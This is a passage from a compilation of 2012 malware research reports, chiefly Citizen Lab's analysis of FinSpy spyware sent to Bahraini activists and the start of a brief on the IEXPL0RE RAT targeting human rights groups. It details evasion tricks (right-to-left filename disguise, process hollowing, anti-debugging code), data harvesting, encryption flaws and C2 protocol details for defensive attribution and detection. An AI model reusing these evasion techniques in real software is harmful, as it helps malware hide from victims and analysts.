2012 Page | 68 References 1. Wikipedia. GhostNet. Wikipedia. [Online] http://en.wikipedia.org/wiki/GhostNet. 2. Clean-MX. wt1888.com. Clean-MX domain search. [Online] http://support.clean-mx.de/clean-mx/viruses.php?domain=wt1888.com. 3. Clean-MX. 81266966.com. Clean-MX domain search. [Online] http://support.clean-mx.de/clean-mx/viruses.php?domain=81266966.com. 4. beishan.info. [Online] http://bbs.beishan.info/thread-849-1-1.html. 5. cyberpolice.cn. Nanchang Cyberpolice. [Online] http://www.nanchang.cyberpolice.cn/show_news.asp?ID=1160. 6. Blasco, Jaime. Targeted attacks against Tibet organizations. AlienVault Labs. [Online] http://labs.alienvault.com/labs/index.php/2012/targeted-attacks-against-tibet-organizations/. 7. Villeneuve, Nart. The Significance of the Nitro Attacks. Trend Micro. [Online] http://blog.trendmicro.com/the-significance-of-the-nitro-attacks/. 8. Command Five Pty Ltd. Command and Control in the Fifth Domain. [Online] http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf. 9. University of Toronto. Recent Observations in Tibet-Related Information Operations: Advanced Social Engineering for the Distribution of LURK Malware. Citizen Lab. [Online] https://citizenlab.org/wp-content/uploads/2012/07/10-2012-recentobservationsintibet.pdf. 10. Walton, Greg. Tibetan journalists targeted by Gh0stRAT in Protest pictures.rar. MalwareLab. [Online] https://malwarelab.zendesk.com/entries/21199507-tibetan-journalists-targeted-by-gh0strat-inprotest-pictures-rar. 11. Blasco, Jaime. New MaControl variant targeting Uyghur users, the Windows version using Gh0st RAT. AlienVault Labs. [Online] http://labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-thewindows-version-using-gh0st-rat/. 12. Giuliani, Gianluca og Sharf, Elad. Nepalese government websites compromised to serve Zegost RAT . Websense Security Labs Blog. [Online] http://community.websense.com/blogs/securitylabs/archive/2012/08/08/nepalese-governmentwebsites-compromised-to-serve-zegost-backdoor.aspx. Norman ASA 2012 Page | 69 Norman ASA 2012 Page | 70 Research Brief July 2012 The Citizen Lab From Bahrain with Love: FinFisher s Spy Kit Exposed? Author: Morgan Marquis-Boire INTRODUCTION The FinFisher Suite is described by its distributors, Gamma International UK Ltd., as "Governmental IT Intrusion and Remote Monitoring Solutions." 1 The toolset first gained notoriety after it was revealed that the Egyptian Government s state security apparatus had been involved in negotiations with Gamma International UK Ltd. over the purchase of the software. Promotional materials have been leaked that describe the tools as providing a wide range of intrusion and monitoring capabilities.2 Despite this, however, the toolset itself has not been publicly analyzed. This post contains analysis of several pieces of malware obtained by Vernon Silver of Bloomberg News that were sent to Bahraini pro-democracy activists in April and May of this year. The purpose of this work is identification and classification of the malware to better understand the actors behind the attacks and the risk to victims. In order to accomplish this, we undertook several different approaches during the investigation. As well as directly examining the samples through static and dynamic analysis, we infected a virtual machine (VM) with the malware. We monitored the filesystem, network, and running operating system of the infected This analysis suggests the use of Finspy , part of the commercial intrusion kit, Finfisher, distributed by Gamma International. July 2012 DELIVERY This section describes how the malware was delivered to potential victims using e-mails with malicious attachments. In early May, we were alerted that Bahraini activists were targeted with apparently malicious e-mails. The emails ostensibly pertained to the ongoing turmoil in Bahrain, and encouraged recipients to open a series of suspicious attachments. The screenshot below is indicative of typical message content: The attachments to the e-mails we have been able to analyze were typically .rar files, which we found to contain malware. Note that the apparent sender has an e-mail address that indicates that it was being sent by Melissa Chan, who is a real correspondent for Aljazeera English. We suspect that the e-mail address is not her real address.3 The following samples were examined: 324783fbc33ec117f971cca77ef7ceaf7ce229a74edd6e2b3bd0effd9ed10dcc rar. c5b39d98c85b21f8ac1bedd91f0b6510ea255411cf19c726545c1d0a23035914 _gpj.ArrestedXSuspects.rar c5b37bb3620d4e7635c261e5810d628fc50e4ab06b843d78105a12cfbbea40d7 KingXhamadXonXofficialXvisitXtoX.rar 80fb86e265d44fbabac942f7b26c973944d2ace8a8268c094c3527b83169b3cc MeetingXAgenda.rar f846301e7f190ee3bb2d3821971cc2456617edc2060b07729415c45633a5a751 Rajab.rar These contained executables masquerading as picture files or documents: 49000fc53412bfda157417e2335410cf69ac26b66b0818a3be7eff589669d040 dialoge.exe cc3b65a0f559fa5e6bf4e60eef3bffe8d568a93dbb850f78bdd3560f38218b5c exe.Rajab1.jpg 39b325bd19e0fe6e3e0fca355c2afddfe19cdd14ebda7a5fc96491fc66e0faba exe.image1.jpg e48bfeab2aca1741e6da62f8b8fc9e39078db574881691a464effe797222e632 exe.Rajab.jpg 2ec6814e4bad0cb03db6e241aabdc5e59661fb580bd870bdb50a39f1748b1d14 exe.Arrested Suspects.jpg c29052dc6ee8257ec6c74618b6175abd6eb4400412c99ff34763ff6e20bab864 News about the existence of a new dialogue between AlWefaq & Govt..doc July 2012 The emails generally suggested that the attachments contained political content of interest to pro-democracy activists and dissidents. In order to disguise the nature of the attachments a malicious usage of the righttoleftoverride" (RLO) character was employed. The RLO character (U+202e in unicode) controls the positioning of characters in text containing characters flowing from right to left, such as Arabic or Hebrew. The malware appears on a victim s desktop as "exe.Rajab1.jpg" (for example), along with the default Windows icon for a picture file without thumbnail. But, when the UTF-8 based filename is displayed in ANSI, the name is displayed as "gpj.1bajaR.exe . Believing that they are opening a harmless .jpg , victims are instead tricked into running an executable ".exe" file.4 Upon execution these files install a multi-featured trojan on the victim s computer. This malware provides the attacker with clandestine remote access to the victim s machine as well as comprehensive data harvesting and exfiltration capabilities. INSTALLATION This section describes how the malware infects the target machine. The malware displays a picture as expected. This differs from sample to sample. The sample Arrested Suspects.jpg gpj.stcepsuS detserrA.exe ) displays: July 2012 It additionally creates a directory (which appears to vary from sample to sample): C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF It copies itself there (in this case the malware appears as Arrested Suspects.jpg ) where it is renamed: C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\Arrested Suspects.jpg C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\tmpD.tmp Then it drops the following files: C:\DOCUME~1\%USER%\LOCALS~1\Temp\delete.bat C:\DOCUME~1\%USER%\LOCALS~1\Temp\driverw.sys It creates the folder (the name of which varies from host to host): C:\Documents and Settings\%USER%\Application Data\Microsoft\Installer\{5DA45CC9-D840-47CC9F86-FD2E9A718A41} This process is observable on the filesystem timeline of the infected host (click image to enlarge): driverw.sys is loaded and then delete.bat is run which deletes the original payload and itself. It then infects existing operating system processes, connects to the command and control server, and begins data harvesting and exfiltration. July 2012 Examining the memory image of a machine infected with the malware shows that a technique for infecting processes known as process hollowing" is used. For example, the memory segment below from the winlogon.exe process is marked as executable and writeable: Here the malware starts a new instance of a legitimate process such as winlogon.exe and before the process s first thread begins, the malware de-allocates the memory containing the legitimate code and injects malicious code in its place. Dumping and examining this memory segment reveals the following strings in the infected process: Note the string: y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c July 2012 This file seems to correspond to a file in the GNU Multi-Precision arithmetic library: http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c The process svchost.exe was also found to be infected in a similar manner: July 2012 Further examination of the memory dump also reveals the following: This path appears to reference the functionality that the malware uses to modify the boot sequence to enable persistence: y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb A pre-infection vs post-infection comparison of the infected VM shows that the Master Boot Record (MBR) was modified by code injected by the malware. The strings found in memory finspyv4.01 and finspyv2 are particularly interesting. The FinSpy tool is part of the FinFisher intrusion and monitoring toolkit.5 OBFUSCATION AND EVASION This section describes how the malware is designed to resist analysis and evade identification. The malware employs a myriad of techniques designed to evade detection and frustrate analysis. While investigation into this area is far from complete, we discuss several discovered methods as examples of the lengths taken by the developers to avoid identification. A virtualised packer is used. This type of obfuscation is used by those that have strong motives to prevent their malware from being analyzed This converts the native x86 instructions of the malware into another custom language chosen from one of 11 code templates. At run-time, this is interpreted by an obfuscated interpreter customized for that particular language. This virtualised packer was not recognised and appears to be bespoke. July 2012 Several anti-debugging techniques are used. This section of code crashes the popular debugger, OllyDbg. .text:00401683 finit .text:00401686 fld ds:tbyte_40168E .text:0040168C jmp short locret_401698 --------------------------------------------------------------------.text:0040168E tbyte_40168E dt 9.2233720368547758075e18 --------------------------------------------------------------------.text:00401698 locret_401698: .text:00401698 retn This float value causes OllyDbg to crash when trying to display its value. A more detailed explanation of this can be found here. To defeat DbgBreakPoint based debuggers, the malware finds the address of DbgBreakPoint, makes the page EXECUTE_READWRITE and writes a NOP on the entry point of DbgBreakPoint. The malware checks via PEB to detect whether or not it is being debugged, and if it is it returns a random address. The malware calls ZwSetInformationThread with ThreadInformationClass set to 0x11, which causes the thread to be detached from the debugger. The malware calls ZwQueryInformationProcess with ThreadInformationClass set to 0x(ProcessDebugPort) and 0x1e (ProcessDebugObjectHandle) to detect the presence of a debugger. If a debugger is detected it jumps to a random address. ZwQueryInformationProcess is also called to check the DEP status on the current process, and it disables it if it s found to be enabled. The malware deploys a granular solution for Antivirus software, tailored to the AV present on the infected machine. The malware calls ZwQuerySystemInformation to get ProcessInformation and ModuleInformation. The malware then walks the list of processes and modules looking for installed AV software. Our analysis indicates that the malware appears to have different code to Open/Create process and inject for each AV solution. For some Anti-Virus software this even appears to be version dependent. The function ZwQuerySystemInformation is also hooked by the malware, a technique frequently used to allow process hiding: July 2012 DATA HARVESTING AND ENCRYPTION This section describes how the malware collects and encrypts data from the infected machine. July 2012 Our analysis showed that the malware collects a wide range of data from an infected victim. The data is stored locally in a hidden directory, and is disguised with encryption prior to exfiltration. "C:\Windows\Installer\{49FD463C-18F1-63C4-8F12-49F518F127}." On the reference victim host, the directory was: We conducted forensic examination of the files created in this directory and identified a wide range of data collected. Files in this directory were found to be screenshots, keylogger data, audio from Skype calls, passwords and more. For the sake of brevity we include a limited set of examples here. The malware attempts to locate the configuration and password store files for a variety browsers and chat clients as seen below: July 2012 We observed the creation of the file t111o00000000.dat in the data harvesting directory, as shown in the filesystem timeline below: Thu Jun 14 2012 12:31:34 52719 mac. r/rr-xr-xr-x 0 0 26395-128-5 C:/WINDOWS/Installer/{49FD463C18F1-63C4-8F12-49F518F127}/09e493e2-05f9-4899-b661-c52f3554c644 Thu Jun 14 2012 12:32:18 285691 ...b r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/{49FD463C18F1-63C4-8F12-49F518F127}/t111o00000000.dat Thu Jun 14 2012 12:55:12 285691 mac. r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/{49FD463C-18F1-63C4-8F12-49F518F127}/t111o00000000.dat 4096 ..c. -/rr-xr-xr-x 0 0 26447-128-4 The infected process winlogon.exe was observed writing this file via Process: July 2012 Examination of this file reveals that it is a screenshot of the desktop: Many other modules providing specific exfiltration capabilities were observed. Generally, the exfiltration modules write files to disk using the following naming convention: XXY1TTTTTTTT.dat. XX is a two-digit hexadecimal module number, Y is a single-digit hexadecimal submodule number, and TTTTTTTT is a hexadecimal representation of a unix timestamp (less 1.3 billion) associated with the file creation time. ENCRYPTION The malware uses encryption in an attempt to disguise harvested data in the .dat files intended for exfiltration. Data written to the files is encrypted using AES-256-CBC (with no padding). The 32-byte key consists of 8 readings from memory address 0x7ffe0014: a special address in Windows that contains the low-order-4-bytes of the number of hundred-nanoseconds since 1 January 1601. The IV consists of 4 additional readings. The AES key structure is highly predictable, as the quantum for updating the system clock (HKLM\SYSTEM\CurrentControlSet\Services\W32Time\Config\LastClockRate) is set to July 2012 0x2625A hundred-nanoseconds by default, and the clock readings that comprise the key and IV are taken in a tight loop: 0x406EA4: 8D45C0 LEA EAX,[EBP-0x40] 0x406EA7: 50 PUSH EAX 0x406EA8: FF150C10AF01 CALL DWORD PTR [0x1AF100C] 0x406EAE: 8B4DE8 MOV ECX,DWORD PTR [EBP-0x18] 0x406EB1: 8B45C0 MOV EAX,DWORD PTR [EBP-0x40] 0x406EB4: 8345E804 ADD DWORD PTR [EBP-0x18],0x4 0x406EB8: 6A01 PUSH 0x1 0x406EBA: 89040F MOV DWORD PTR [EDI+ECX],EAX 0x406EBD: FF152810AF01 CALL DWORD PTR [0x1AF1028] 0x406EC3: 817DE800010000 CMP DWORD PTR [EBP-0x18],0x100 0x406ECA: 72D8 JB 0x406EA4 0x406ECC: 80277F AND BYTE PTR [EDI],0x7F The following AES keys were among those found to be used to encrypt records in .dat files. The first contains the same 4 bytes repeated, whereas in the second key, the difference between all consecutive 4-byte blocks (with byte order swapped) is 0x2625A. 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 26 e9 23 60 80 4b 26 60 da ad 28 60 34 10 2b 60 8e 72 2d 60 e8 d4 2f 60 42 37 32 60 9c 99 34 60 In all, 64 clock readings are taken. The readings are encrypted using an RSA public key found in memory (whose modulus begins with A25A944E) and written to the .dat file before any other encrypted data. No padding is used in the encryption, yielding exactly 256 encrypted bytes. After the encrypted timestamp values, the file contains a number of records encrypted with AES, delimited by EAE9E8FF. July 2012 In reality, these records are only partially encrypted: if the record s length is not a multiple of 16 bytes (the AES block size), then the remainder of the bytes are written to the file unencrypted. For example, after typing FinSpy on the keyboard, the keylogger module produced the following (trailing plaintext highlighted): The predictability of the AES encryption keys allowed us to decrypt and view these partially-encrypted records in full plaintext. The nature of the records depends on the particular module and submodule. For example, submodule Y == 5 of the Skype exfiltration module (XX == 14), contains a csv representation of the user s contact list: Record # 0 Length: 243 bytes: 192.168.131.67JRecordingEcsv 0 -0800UTC DST.1 2012-07-18 18:00:21.: 1970-01-01 00:16:00Abhwatch1 Record # 1 Length: 96 bytes: `USERNAME,FULLNAME,COUNTRY,AUTHORIZED,BLOCKED Record # 2 Length: 90 bytes: Zecho123,Echo / Sound Test Service,,YES,NO Record # 3 Length: 95 bytes: ^bhwatch2,Bahrain Watch,United States,YES,NO July 2012 Submodule Y == 3 records file transfers. After a Skype file transfer concludes, the following file is created: %USERPROFILE%\Local Settings\Temp\smtXX.tmp. This file appears to contain the sent / received file. As soon as smtXX.tmp is finished being written to disk, a file (1431XXXXXXXX.dat) is written, roughly the same size as smtXX.tmp. After sending a picture (of birdshot shotgun shell casings used by Bahrain s police) to an infected Skype client, the file 1431028D41FD.dat was observed being written to disk. Decrypting it revealed the following: Record # 0 Length: 441 bytes: 192.168.131.67Abhwatch1Bbhwatch2"CBahrain WatchIreceivedrC:\Documents and Settings\XPMUser\My Documents\gameborev3.jpgJRecording 0 -0800UTC DST.1 2012-07-20 12:18:21.: 2012-07-20 12:18:21 Record # 1 Length: 78247 bytes: [Note: Record #1 contained the contents of the .jpg file, preceded by hex A731010090051400, and followed by hex 0A0A0A0A.] July 2012 Additionally, submodule Y == 1 records Skype chat messages, and submodule Y == 2 records audio from all participants in a Skype call. The call recording functionality appears to be provided by hooking DirectSoundCaptureCreate: COMMAND AND CONTROL This section describes the communications behavior of the malware. When we examined the malware samples we found that they connect to a server at IP address 77.69.140.194 July 2012 WHOIS data7 reveals that this address is owned by Batelco, the principal telecommunications company of Bahrain: inetnum: 77.69.128.0 - 77.69.159.255 netname: ADSL descr: Batelco ADSL service country: bh For a period of close to 10 minutes, traffic was observed between the infected victim and the command and control host in Bahrain. A summary of the traffic by port and conversation size (click image to enlarge): The infected VM talks to the remote host on the following five TCP ports: 4111 Based on observation of an infected machine we were able to determine that the majority of data is exfiltrated to the remote host via ports 443 and 4111. July 2012 192.168.131.65:1213 -> 77.69.140.194:443 1270075 bytes 192.168.131.65:4111 -> 77.69.149.194:4111 4766223 bytes CONCLUSIONS ABOUT MALWARE IDENTIFICATION Our analysis yields indicators about the identity of the malware we have analyzed: (1) debug strings found the in memory of infected processes appear to identify the product and (2) the samples have similarities with malware that communicates with domains belonging to Gamma International. Debug Strings found in memory As we previously noted, infected processes were found containing strings that include finspyv4.01 and finspyv2 y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-mul_fft.c y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb Publicly available descriptions of the FinSpy tool collected by Privacy International among others and posted on Wikileaks8 make the a series of claims about functionality: Bypassing of 40 regularly tested Antivirus Systems Covert Communication with Headquarters Full Skype Monitoring (Calls, Chats, File Transfers, Video, Contact List) Recording of common communication like Email, Chats and Voice-over-IP Live Surveillance through Webcam and Microphone Country Tracing of Target Silent Extracting of Files from Hard-Disk Process-based Key-logger for faster analysis Live Remote Forensics on Target System Advanced Filters to record only important information Supports most common Operating Systems (Windows, Mac OSX and Linux) July 2012 Shared behavior with a sample that communicates with Gamma The virtual machine used by the packer has very special sequences in order to execute the virtualised code, for example: 66 C7 07 9D 61 mov word ptr [edi], 619Dh C6 47 02 68 mov byte ptr [edi+2], 68h 89 57 03 mov [edi+3], edx C7 47 07 68 00 00 00 mov dword ptr [edi+7], 68h 89 47 08 mov [edi+8], eax C6 47 0C C3 mov byte ptr [edi+0Ch], 0C3h Based on this we created a signature from the Bahrani malware, which we shared with another security researcher who identified a sample that shared similar virtualised obfuscation. That sample is: md5: c488a8aaef0df577efdf1b501611ec20 sha1: 5ea6ae50063da8354e8500d02d0621f643827346 sha256: 81531ce5a248aead7cda76dd300f303dafe6f1b7a4c953ca4d7a9a27b5cd6cdf The sample connects to the following domains: tiger.gamma-international.de ff-demo.blogdns.org The domain tiger.gamma-international.de has the following Whois information9: Domain: gamma-international.de Name: Martin Muench Organisation: Gamma International GmbH Address: Baierbrunner Str. 15 PostalCode: 81379 City: Munich CountryCode: DE Phone: +49-89-2420918-0 Fax: +49-89-2420918-1 Email: info@gamma-international.de Changed: 2011-04-04T11:24:20+02:00 July 2012 Martin Muench is a representative of Gamma International, a company that sells advanced technical surveillance and monitoring solutions . One of the services they provide is FinFisher: IT Intrusion, including the FinSpy tool. This labelling indicates that the matching sample we were provided may be a demo copy a FinFisher product per the domain ff-demo.blogdns.org. We have linked a set of novel virtualised code obfuscation techniques in our Bahraini samples to another binary that communicates with Gamma International IP addresses. Taken alongside the explicit use of the name FinSpy in debug strings found in infected processes, we suspect that the malware is the FinSpy remote intrusion tool. This evidence appears to be consistent with the theory that the dissidents in Bahrain who received these e-mails were targeted with the FinSpy tool, configured to exfiltrate their harvested information to servers in Bahraini IP space. If this is not the case, we invite Gamma International to explain. RECOMMENDATIONS The samples from email attachments have been shared with selected individuals within the security community, and we strongly urge antivirus companies and security researchers to continue where we have left off. Be wary of opening unsolicited attachments received via email, skype or any other communications mechanism. If you believe that you are being targeted it pays to be especially cautious when downloading files over the Internet, even from links that are purportedly sent by friends. ACKNOWLEDGEMENTS Malware analysis by Morgan Marquis-Boire and Bill Marczak. Assistance from Seth Hardy and Harry Tuttle gratefully received. Special thanks to John Scott-Railton. Thanks to Marcia Hofmann and the Electronic Frontier Foundation (EFF). We would also like to acknowledge Privacy International for their continued work and graciously provided background information on Gamma International. July 2012 FOOTNOTES http://www.finfisher.com/ http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/#SpyFiles http://blogs.aljazeera.com/profile/melissa-chan This technique was used in the recent Madi malware attacks. http://www.finfisher.com/ Unpacking Virtualised Obfuscators by Rolf Rolles http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf http://whois.domaintools.com/77.69.140.194 E.g. http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf http://whois.domaintools.com/gamma-international.de Back to top MEDIA COVERAGE The Wall Street Journal Slate Tech Week Europe Bloomberg Electronic Frontier Foundation Privacy International Spiegel Online PC Mag The New York Times About the Author Morgan Marquis-Boire is a Technical Advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto. He works as a Security Engineer at Google specializing in Incident Response, Forensics and Malware Analysis. CITIZEN LAB TECHNICAL BRIEF IEXPL0RE RAT BY SETH HARDY | AUGUST 2012 CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT INTRODUCTION This report describes a remote access trojan (RAT) that three human rights-related organizations taking part in a Citizen Lab study on targeted cyber threats against human rights groups received via email in 2011 and at the end of 2010. Here we refer to it as the IEXPL0RE RAT, after the name of the launcher program. It was first called Sharky RAT in Seth Hardy s talk at SecTor 2011. Since then it has also been referred to as c0d0so0 and possibly Backdoor.Briba. A RAT is a program that allows a remote user full access to a computer. This type of program can be used for legitimate reasons. In these cases, RAT can also stand for remote administration tool. In the case of the IEXPL0RE RAT, the remote user has the ability to record user keystrokes (including passwords), copy and delete files, download and run new programs, and even use the computer s microphone and camera to listen to and watch the user in real-time. RATs are common in targeted malware attacks against human rights organizations and other NGOs. Targeted attacks with this sort of payload are often referred to as advanced persistent threats (APTs). APTs differ from other traditional computer attacks in that they are designed to be quiet and collect data over time, and act as a starting point for future tracking and compromise of targets. It is not uncommon for an APT infection to persist for months or even years after the malicious program is first run. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT ATTACK VECTOR Attempted delivery of the malware was via email attachment, employing social engineering techniques. The emails that contained the attached IEXPL0RE RAT were different every time, with a unique email and delivery method used for each attempt, including multiple versions targeted at the same organization. Each email was tailored specifically for the target, both in terms of subject, content, and the way the RAT was attached and hidden. Organization 1: a human rights NGO received multiple emails with interesting keywords from senders claiming to be from personal friends. These emails included an executable attachment in a password-protected archive, which helps prevent detection by antivirus software. The password was included in the email address. Organization 2: a news organization operating a website that reports on developments in China, received an email containing a story about a high-rise apartment building fire. Attached to the email were four images and two executable files (.scr extensions) designed to look like images using the Unicode right-to-left override character. When each executable file is run, it will install and launch the malware, drop an image, open the image, and delete itself. The end result is that only an image is left, making the email look more legitimate if the malware is run (figure 1). FIGURE 1: IMAGE OF A HIGH-RISE FIRE USED TO TRICK RECIPIENTS INTO RUNNING THE MALWARE. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Organization 3: a Tibet-related organization received two emails with different versions of the malware attached. The first file was an executable file designed to appear as a video of a speech by the Dalai Lama, attached to an email about a year review of Tibetan human rights issues (figure 2). The second file was embedded in an Excel spreadsheet attached to an email pretending to be from a conference on climate change. Emails that contain malicious attachments use a variety of social engineering techniques to appear more legitimate. Methods include using names of real people and organizations, choosing material that is directly related to the target s interests, and including chains of fake forwards to make it appear as if the email has been circulated. Including the attachments in a RAR file makes them less likely to be discovered by an antivirus (AV) scanner. Putting a password on the archive and including it in the email reduces the chances of AV discovery even further. FIGURE 2: EXAMPLE TARGETED EMAIL WITH IEXPL0RE RAT USING SOCIAL ENGINEERING METHODS. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT A newer version of the RAT payload was later distributed via email in multiple RTF documents to organization 3. The RTF dropped a DLL alongside a legitimate program vulnerable to DLL injection, allowing the program to run without a warning that the program is not digitally signed. StrokeIt, a program for using mouse gestures, uses a file named config.dll without verifying the authenticity of the file. By replacing config.dll with the RAT downloader, the malicious code is run while appearing more legitimate to the operating system (figure 3). FIGURE 3: VALID DIGITAL SIGNATURE FOR THE STROKEIT PROGRAM. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT MALWARE The IEXPL0RE RAT is delivered inside an executable program or document, which is customgenerated for each email. When a user opens the document or runs the program, it installs a launcher program on the computer. Antivirus programs frequently fail to detect the launcher program as malicious, as it is custom built for each specific target: the file contains a configuration file unique to the target, which is different each time it is sent out. This method is used to defeat signature-based antivirus programs, which only scan for files that are known to be malicious. As the launcher program is newly generated every time, it will never end up on a signature list until after it is already been used. Once installed on a system, the launcher program goes through multiple programs to unpack a contained file (the actual RAT) before it can run. The IEXPL0RE.EXE (or other launcher) program contains multiple programs, layered like an onion, which eventually unpack a DLL (dynamic link library, another form of executable file). The file name varies, but starts with perf and has an extension of .dat, and is saved to the %temp% folder (often C:\Documents and Settings\user\Local Settings\Temp). Once the perf*.dat file is saved to disk, it runs (via injection into svchost.exe, a Windows program) and extracts another DLL into memory. This program is called ContainerV2, as it is referenced from within the program, although it is never written to the disk. ContainerV2 connects to the Internet and downloads another DLL called client . The client is also kept in memory and never written to the disk. Once downloaded, ContainerV2 will run the client, which does all of the IEXPL0RE RAT work (figure 4). FIGURE 4: STRUCTURE OF THE RAT LAUNCHER PROGRAM. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT For Organization 1, the executable launch process looks like this: .exe(attached file, launcher): appears as a text document; when run, displays a fake error message saying the file can t be found (figure 5) csv.exe (runs and exits quickly) 360tray.exe (runs and exits quickly) svchost.exe (with injected perf*.dat code) ContainerV2 (injected into svchost.exe) client (downloaded and run in memory) FIGURE 5: SOCIAL ENGINEERING TECHNIQUE: A FAKE ERROR MESSAGE HIDING THE FACT THAT THIS IS A PROGRAM. One advantage of downloading the final stage is that if the attacker wanted to update the RAT software (to add new functionality for example), it can be done very easily. Because code is downloaded every time the malware starts, if the code is changed on the server side, existing compromised machines will automatically update themselves the next time they are restarted. Over the time spent analyzing this malware, the client program did have minor changes, possibly bug fixes. MD5 hashes, also called message digests, are often used to identify a file based on its content. A hash is a string of hexadecimal characters that identifies a file. Should the file change in any way, the hash will as well. Hashes are designed to be easy to compute from a full file, but it is very difficult to find two files with the same hash. Use of hashes in the context of the IEXPL0RE RAT is difficult, as the downloaded client may change, and the ContainerV2 program is different for every target. One of the main differences that guarantees that the hash will always be unique is that the configuration file for the RAT (including which command and control servers to connect to) is included in the program. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT For reference some MD5 hashes of IEXPL0RE components include: ORIGINAL ATTACHMENT: Organization 1: d7c826ac94522416a0aecf5b7a5d2afe (EXE) Organization 2: 66e1aff355c29c6f39b21aedbbed2d5c (SCR) Organization 3: 21a1ee58e4b543d7f2fa3b4022506029 (EXE) Organization 3: 8d4e42982060d884e2b7bd257727fd7c (XLS) CONTAINERV2: Organization 1: d46d85777062afbcda02de68c063b877 Organization 2: 85e8c6ddcfa7e289be14324abbb7378d ORGANIZATION 2 CLIENT (ONLY ACTIVE COMMAND AND CONTROL SERVER): November 1, 2011: eb51b384fcbbe468a6877f569021c5d1 November 29, 2011: 8268297c1b38832c03f1c671e0a54a78 (current as of July 20, 2012) INFECTION Once the launcher program is run, it will install the IEXPL0RE binary and a startup link in the Start Menu: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\IEXPL0RE.LNK C:\Documents and Settings\user\Application Data\Microsoft\Internet Explorer\IEXPL0RE.EXE It also leaves traces of the extracted binary and the link file (the .tmp file below) in %temp%: C:\Documents and Settings\user\Local Settings\Temp\31A.tmp C:\Documents and Settings\user\Local Settings\Temp\perf6cd2e5e9.dat The RAT also uses a few files for configuration and recording keystrokes: C:\WINDOWS\system\lock.dat C:\WINDOWS\system\MSMAPI32.SRG C:\WINDOWS\system32\STREAM.SYS When run, IEXPL0RE will connect to a command and control (C2) server for updates, sending keylogger data, and asking for RAT commands. The C2 server is specified in a configuration file built into the RAT program. Each RAT instance is likely built using a packaging program. The configuration file allows for a primary server and an alternate, and may use either a domain or IP. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Each of the IEXPL0RE samples analyzed uses a different set of C2 servers. One sample uses two domains that point to the same IP. The IP changes every few days to few weeks, but remains in one network block located in China. Other samples use either a single domain name and no backup, or a fixed IP with a localhost address as backup. The localhost address is a way to find and use a proxy, for example, if a computer is using a circumvention system such as Tor. Of the two samples using fixed IPs, both were sent to the same organization, and one appears to be a replacement for the other. Both C2 servers are currently down. C2 COMMUNICATION IEXPL0RE has two different methods of communication: HTTP POST and GET. It also has the ability to use a HTTP CONNECT proxy. POST is the preferred method of communication; if it does not work, it will also attempt a GET connection. All communication from the client to the server is encrypted with a one-byte XOR key 0xCD. (Information in this report shows the data after decryption.) POST commands put the data in the request body, while GET commands put the data in URL parameters. Server responses are all 200 OK messages with data in the body. The system keeps track of the communication using a sequence number, which is part of the requested URL. The sequence number is nine digits long, starts at 000000001, and generally increments by one for each packet sent. When authenticated, the sequence number jumps to 000001000; if disconnected, the sequence number returns to the next sub-1000 number expected. THE HEADERS OF THE REQUEST LOOK LIKE THIS: POST /index000000001.asp HTTP/1.1 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;) Host: update.microsoft.com Connection: Keep-Alive Content-Type: text/html Content-Length: 000041 The Accept-Language, User-Agent, Connection, and Content-Type headers are always fixed. The Host header is also always fixed as update.microsoft.com; any requests to the C2 server made without this header in place will be rejected, often with a redirect to Microsoft s website. When run, ContainerV2 communicates with the C2 server, first establishing a socket by a three-way handshake. Below, the text at the start of the arrow indicates the packet type, sequence number, and connection socket. For example, POST 2 (1) means that it is using an HTTP POST request, sequence number 2, on the first established connection (figure. 6). The text on the line is the data in the packet after decryption. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 6: FIRST C2 CONNECTION Once the first connection has been established, a second connection is made using a similar handshake (figure 7). FIGURE 7: SECOND C2 CONNECTION When the second connection has been established, the ContainerV2 program uses it to download the client and run it (figure 8). CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 8: BINARY DOWNLOAD Once control has been handed off to the client, one connection is used for sending keylogger data from the client to the server, and the other connection is used to request RAT commands from the server. With the protocol reversed (see Appendix B for a full listing of commands), it was straightforward to write a program that communicates with the C2 server, downloads the client, and sends back commands as desired. The program maintains the two sockets, sending heartbeat/command request packets at a specified interval, while sending back empty keylogger packets to trick the server into thinking the system is idle (figure 9). CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 9: AN EXAMPLE OF THE FAKE MALWARE CLIENT COMMUNICATING WITH THE C2 SERVER. CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CAPABILITIES The IEXPL0RE 